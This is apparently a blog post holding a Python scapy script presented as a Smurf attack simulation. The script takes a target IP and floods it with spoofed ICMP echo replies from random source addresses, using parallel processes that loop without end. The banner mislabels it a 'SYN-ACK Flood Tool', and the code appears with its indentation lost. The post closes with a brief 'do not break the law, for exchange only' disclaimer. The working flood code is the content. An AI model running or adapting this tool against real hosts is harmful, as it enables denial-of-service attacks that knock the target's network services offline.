# 文档上摘抄,须解释拓扑无法做到高数量的主机在局域网内,所以跳过攻击者在局域网内广播ICMP请求包的过程,直接模拟其他主机被误导后对样机发送多数量的ICMP响应报文
#!/usr/bin/python
# Zhoushukang
# zhoushukang@zju.edu.cn
# SYN-ACK Flood Tool Python
from multiprocessing import Process
from scapy.all import *
import os
import sys
import random
def randomIP():
ip = ".".join(map(str, (random.randint(0, 255) for _ in range(4))))
return ip
def randInt():
x = random.randint(1000, 9000)
return x
def SYN_ACK_Flood(dstIP, counter):
total = 0
print("Packets are sending ...")
for x in range(0, counter):
# 构建IP数据包,指定目标IP地址
ip_packet = IP(dst=dstIP)
ip_packet.src = randomIP()
# 构建ICMP响应数据包
icmp_response = ICMP(type=0) # 这里使用type=0表示ICMP Echo Reply
# 合并IP数据包和ICMP响应数据包
response_packet = ip_packet / icmp_response
# 发送响应数据包
send(response_packet, verbose=0)
total += 1
sys.stdout.write("\nTotal packets sent: %i\n" % total)
def info():
os.system("clear")
print("#############################")
print("# github.com/Zhoushukang #")
print("#############################")
print("# Welcome to SYN-ACK Flood Tool #")
print("#############################")
dstIP = input("\nTarget IP : ")
# dstPort = input("Target Port : ")
return dstIP
def attack(dstIP, counter):
while True:
SYN_ACK_Flood(dstIP, int(counter))
if __name__ == '__main__':
num = input("并行数:")
counter = input("你需要发送多少包 : ")
list = []
dstIP = info()
for i in range(int(num)):
p = Process(target=attack, args=(dstIP, counter))
list.append(p)
for i in list:
i.start()
for i in list:
i.join()
【Smurf攻击】不要参与违法犯罪行为,仅供交流
最新推荐文章于 2024-09-30 14:16:32 发布